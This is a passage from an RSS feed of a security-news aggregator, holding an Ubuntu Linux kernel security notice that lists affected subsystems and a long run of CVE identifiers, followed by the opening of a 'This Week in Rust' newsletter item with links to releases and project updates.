CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8593-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security iss...]]></description>
<link>https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688306/unix-server/usn-8593-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 09:46:45 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NVME drivers;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - TCM subsystem;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - DRM TTM subsystem;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory management;
  - Memory Management;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KProbes tracing;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - HD-audio driver;
  - AudioScience HPI driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - KVM subsystem;
(CVE-2026-43490, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45837, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-46104, CVE-2026-46105, CVE-2026-46106, CVE-2026-46107,
CVE-2026-46108, CVE-2026-46109, CVE-2026-46110, CVE-2026-46111,
CVE-2026-46112, CVE-2026-46113, CVE-2026-46114, CVE-2026-46116,
CVE-2026-46117, CVE-2026-46118, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46130, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46134, CVE-2026-46136, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46140, CVE-2026-46141, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46147,
CVE-2026-46148, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46153, CVE-2026-46154, CVE-2026-46156,
CVE-2026-46157, CVE-2026-46158, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46162, CVE-2026-46163, CVE-2026-46164,
CVE-2026-46165, CVE-2026-46166, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46170, CVE-2026-46171, CVE-2026-46172,
CVE-2026-46173, CVE-2026-46174, CVE-2026-46175, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46181, CVE-2026-46182, CVE-2026-46183, CVE-2026-46184,
CVE-2026-46186, CVE-2026-46187, CVE-2026-46188, CVE-2026-46189,
CVE-2026-46190, CVE-2026-46191, CVE-2026-46192, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46317, CVE-2026-46318,
CVE-2026-46319, CVE-2026-46320, CVE-2026-46321, CVE-2026-46322,
CVE-2026-46324, CVE-2026-52911, CVE-2026-52912, CVE-2026-52913,
CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52918,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52923, CVE-2026-52925, CVE-2026-52926, CVE-2026-52927,
CVE-2026-52928, CVE-2026-52931, CVE-2026-52932, CVE-2026-52934,
CVE-2026-52936, CVE-2026-52937, CVE-2026-52941, CVE-2026-52943,
CVE-2026-52944, CVE-2026-52949, CVE-2026-52950, CVE-2026-52951,
CVE-2026-52952, CVE-2026-52953, CVE-2026-52954, CVE-2026-52955,
CVE-2026-52956, CVE-2026-52957, CVE-2026-52958, CVE-2026-52959,
CVE-2026-52960, CVE-2026-52961, CVE-2026-52962, CVE-2026-52963,
CVE-2026-52964, CVE-2026-52965, CVE-2026-52967, CVE-2026-52968,
CVE-2026-52969, CVE-2026-52970, CVE-2026-52971, CVE-2026-52973,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52976, CVE-2026-52977,
CVE-2026-52978, CVE-2026-52979, CVE-2026-52980, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52983, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52987, CVE-2026-52988, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52991, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52994, CVE-2026-52995, CVE-2026-52996, CVE-2026-52997,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53000, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53005,
CVE-2026-53006, CVE-2026-53007, CVE-2026-53008, CVE-2026-53009,
CVE-2026-53010, CVE-2026-53011, CVE-2026-53012, CVE-2026-53013,
CVE-2026-53014, CVE-2026-53015, CVE-2026-53016, CVE-2026-53017,
CVE-2026-53018, CVE-2026-53019, CVE-2026-53020, CVE-2026-53021,
CVE-2026-53022, CVE-2026-53023, CVE-2026-53024, CVE-2026-53025,
CVE-2026-53026, CVE-2026-53027, CVE-2026-53028, CVE-2026-53029,
CVE-2026-53030, CVE-2026-53031, CVE-2026-53032, CVE-2026-53033,
CVE-2026-53034, CVE-2026-53035, CVE-2026-53036, CVE-2026-53037,
CVE-2026-53038, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041,
CVE-2026-53042, CVE-2026-53043, CVE-2026-53044, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53051, CVE-2026-53052, CVE-2026-53053,
CVE-2026-53054, CVE-2026-53055, CVE-2026-53056, CVE-2026-53057,
CVE-2026-53058, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061,
CVE-2026-53062, CVE-2026-53063, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53066, CVE-2026-53067, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53070, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53078, CVE-2026-53079, CVE-2026-53080, CVE-2026-53081,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53087, CVE-2026-53088, CVE-2026-53089,
CVE-2026-53090, CVE-2026-53091, CVE-2026-53092, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53095, CVE-2026-53096, CVE-2026-53097,
CVE-2026-53098, CVE-2026-53099, CVE-2026-53100, CVE-2026-53101,
CVE-2026-53102, CVE-2026-53103, CVE-2026-53104, CVE-2026-53105,
CVE-2026-53106, CVE-2026-53107, CVE-2026-53108, CVE-2026-53109,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53113,
CVE-2026-53114, CVE-2026-53115, CVE-2026-53116, CVE-2026-53117,
CVE-2026-53118, CVE-2026-53119, CVE-2026-53120, CVE-2026-53121,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53124, CVE-2026-53125,
CVE-2026-53126, CVE-2026-53127, CVE-2026-53128, CVE-2026-53129,
CVE-2026-53130, CVE-2026-53174, CVE-2026-53277, CVE-2026-53278,
CVE-2026-53279, CVE-2026-53280, CVE-2026-53281, CVE-2026-53282,
CVE-2026-53283, CVE-2026-53284, CVE-2026-53285, CVE-2026-53286,
CVE-2026-53287, CVE-2026-53288, CVE-2026-53289, CVE-2026-53290,
CVE-2026-53291, CVE-2026-53292, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53297, CVE-2026-53298,
CVE-2026-53299, CVE-2026-53300, CVE-2026-53301, CVE-2026-53302,
CVE-2026-53303, CVE-2026-53304, CVE-2026-53305, CVE-2026-53306,
CVE-2026-53307, CVE-2026-53308, CVE-2026-53309, CVE-2026-53310,
CVE-2026-53311, CVE-2026-53312, CVE-2026-53313, CVE-2026-53314,
CVE-2026-53315, CVE-2026-53316, CVE-2026-53317, CVE-2026-53318,
CVE-2026-53319, CVE-2026-53320, CVE-2026-53321, CVE-2026-53322,
CVE-2026-53323, CVE-2026-53324, CVE-2026-53357, CVE-2026-53358,
CVE-2026-53360, CVE-2026-53364, CVE-2026-53365, CVE-2026-53367,
CVE-2026-53368, CVE-2026-53369, CVE-2026-53370, CVE-2026-53371,
CVE-2026-53372, CVE-2026-53373, CVE-2026-53374, CVE-2026-53375,
CVE-2026-53376, CVE-2026-53377, CVE-2026-53378, CVE-2026-53379,
CVE-2026-53380, CVE-2026-63837, CVE-2026-63838, CVE-2026-63839,
CVE-2026-63840, CVE-2026-63841, CVE-2026-63842, CVE-2026-63843,
CVE-2026-63844, CVE-2026-63845, CVE-2026-63846, CVE-2026-63847,
CVE-2026-63848, CVE-2026-63849, CVE-2026-63850, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63853, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63857, CVE-2026-63858, CVE-2026-63859,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63863,
CVE-2026-63864, CVE-2026-63865, CVE-2026-63866, CVE-2026-63875,
CVE-2026-63876, CVE-2026-63877, CVE-2026-63878, CVE-2026-63879,
CVE-2026-63880, CVE-2026-63881, CVE-2026-63882, CVE-2026-63883,
CVE-2026-63884, CVE-2026-63886, CVE-2026-63887, CVE-2026-63888,
CVE-2026-63889, CVE-2026-63890, CVE-2026-63891, CVE-2026-63892,
CVE-2026-63893, CVE-2026-63894, CVE-2026-63895, CVE-2026-63896,
CVE-2026-63897, CVE-2026-63898, CVE-2026-63899, CVE-2026-63900,
CVE-2026-63901, CVE-2026-63902, CVE-2026-63903, CVE-2026-63904,
CVE-2026-63905, CVE-2026-63906, CVE-2026-63907, CVE-2026-63908,
CVE-2026-63909, CVE-2026-63910, CVE-2026-63911, CVE-2026-63912,
CVE-2026-63913, CVE-2026-63914, CVE-2026-63915, CVE-2026-63916,
CVE-2026-63917, CVE-2026-63918, CVE-2026-63919, CVE-2026-63920,
CVE-2026-63921, CVE-2026-63922, CVE-2026-63923, CVE-2026-63924,
CVE-2026-63925, CVE-2026-63926, CVE-2026-63927, CVE-2026-63928,
CVE-2026-63929, CVE-2026-63930, CVE-2026-63931, CVE-2026-63932,
CVE-2026-63933, CVE-2026-63934, CVE-2026-63935, CVE-2026-63936,
CVE-2026-63937, CVE-2026-63938, CVE-2026-63939, CVE-2026-63940,
CVE-2026-63941, CVE-2026-63942, CVE-2026-63943, CVE-2026-63944,
CVE-2026-63945, CVE-2026-63946, CVE-2026-63947, CVE-2026-63948,
CVE-2026-63949, CVE-2026-63950, CVE-2026-63951, CVE-2026-63952,
CVE-2026-63953, CVE-2026-63954, CVE-2026-63955, CVE-2026-63956,
CVE-2026-63957, CVE-2026-63958, CVE-2026-63959, CVE-2026-63960,
CVE-2026-63961, CVE-2026-63962, CVE-2026-63963, CVE-2026-63964,
CVE-2026-63965, CVE-2026-63966, CVE-2026-63967, CVE-2026-63968,
CVE-2026-63969, CVE-2026-63970, CVE-2026-63971, CVE-2026-63972,
CVE-2026-63973, CVE-2026-63974, CVE-2026-63975, CVE-2026-63976,
CVE-2026-63977, CVE-2026-63978, CVE-2026-63979, CVE-2026-63980,
CVE-2026-63981, CVE-2026-63982, CVE-2026-63983, CVE-2026-63984,
CVE-2026-63985, CVE-2026-63986, CVE-2026-63987, CVE-2026-63988,
CVE-2026-63989, CVE-2026-63990, CVE-2026-63991, CVE-2026-63992,
CVE-2026-63993, CVE-2026-63994, CVE-2026-63995, CVE-2026-63996,
CVE-2026-63997, CVE-2026-63998, CVE-2026-63999, CVE-2026-64000,
CVE-2026-64001, CVE-2026-64002, CVE-2026-64003, CVE-2026-64004,
CVE-2026-64005, CVE-2026-64006, CVE-2026-64007, CVE-2026-64008,
CVE-2026-64009, CVE-2026-64010, CVE-2026-64011, CVE-2026-64012,
CVE-2026-64013, CVE-2026-64014, CVE-2026-64015, CVE-2026-64017,
CVE-2026-64018, CVE-2026-64019, CVE-2026-64020, CVE-2026-64021,
CVE-2026-64022, CVE-2026-64023, CVE-2026-64024, CVE-2026-64025,
CVE-2026-64026, CVE-2026-64027, CVE-2026-64029, CVE-2026-64030,
CVE-2026-64031, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64035, CVE-2026-64036, CVE-2026-64037, CVE-2026-64038,
CVE-2026-64039, CVE-2026-64040, CVE-2026-64041, CVE-2026-64042,
CVE-2026-64043, CVE-2026-64044, CVE-2026-64045, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64048, CVE-2026-64049, CVE-2026-64050,
CVE-2026-64051, CVE-2026-64052, CVE-2026-64053, CVE-2026-64054,
CVE-2026-64055, CVE-2026-64056, CVE-2026-64057, CVE-2026-64058,
CVE-2026-64059, CVE-2026-64060, CVE-2026-64061, CVE-2026-64062,
CVE-2026-64063, CVE-2026-64064, CVE-2026-64065, CVE-2026-64066,
CVE-2026-64067, CVE-2026-64068, CVE-2026-64069, CVE-2026-64070,
CVE-2026-64071, CVE-2026-64072, CVE-2026-64073, CVE-2026-64074,
CVE-2026-64075, CVE-2026-64076, CVE-2026-64077, CVE-2026-64078,
CVE-2026-64079, CVE-2026-64080, CVE-2026-64081, CVE-2026-64082,
CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086,
CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64090,
CVE-2026-64091, CVE-2026-64093, CVE-2026-64094, CVE-2026-64095,
CVE-2026-64096, CVE-2026-64097, CVE-2026-64098, CVE-2026-64099,
CVE-2026-64100, CVE-2026-64101, CVE-2026-64102, CVE-2026-64103,
CVE-2026-64104, CVE-2026-64105, CVE-2026-64106, CVE-2026-64107,
CVE-2026-64108, CVE-2026-64109, CVE-2026-64110, CVE-2026-64111,
CVE-2026-64112, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64116, CVE-2026-64117, CVE-2026-64118, CVE-2026-64119,
CVE-2026-64120, CVE-2026-64121, CVE-2026-64122, CVE-2026-64123,
CVE-2026-64124, CVE-2026-64125, CVE-2026-64126, CVE-2026-64127,
CVE-2026-64128, CVE-2026-64129, CVE-2026-64130, CVE-2026-64131,
CVE-2026-64132, CVE-2026-64133, CVE-2026-64134, CVE-2026-64135,
CVE-2026-64136, CVE-2026-64137, CVE-2026-64138, CVE-2026-64139,
CVE-2026-64140, CVE-2026-64141, CVE-2026-64142, CVE-2026-64143,
CVE-2026-64144, CVE-2026-64145, CVE-2026-64146, CVE-2026-64147,
CVE-2026-64148, CVE-2026-64149, CVE-2026-64150, CVE-2026-64151,
CVE-2026-64152, CVE-2026-64153, CVE-2026-64154, CVE-2026-64155,
CVE-2026-64156, CVE-2026-64157, CVE-2026-64158, CVE-2026-64159,
CVE-2026-64160, CVE-2026-64161, CVE-2026-64162, CVE-2026-64163,
CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64167,
CVE-2026-64168, CVE-2026-64169, CVE-2026-64170, CVE-2026-64171,
CVE-2026-64172, CVE-2026-64173, CVE-2026-64174, CVE-2026-64175,
CVE-2026-64176, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64180, CVE-2026-64181, CVE-2026-64182, CVE-2026-64183,
CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
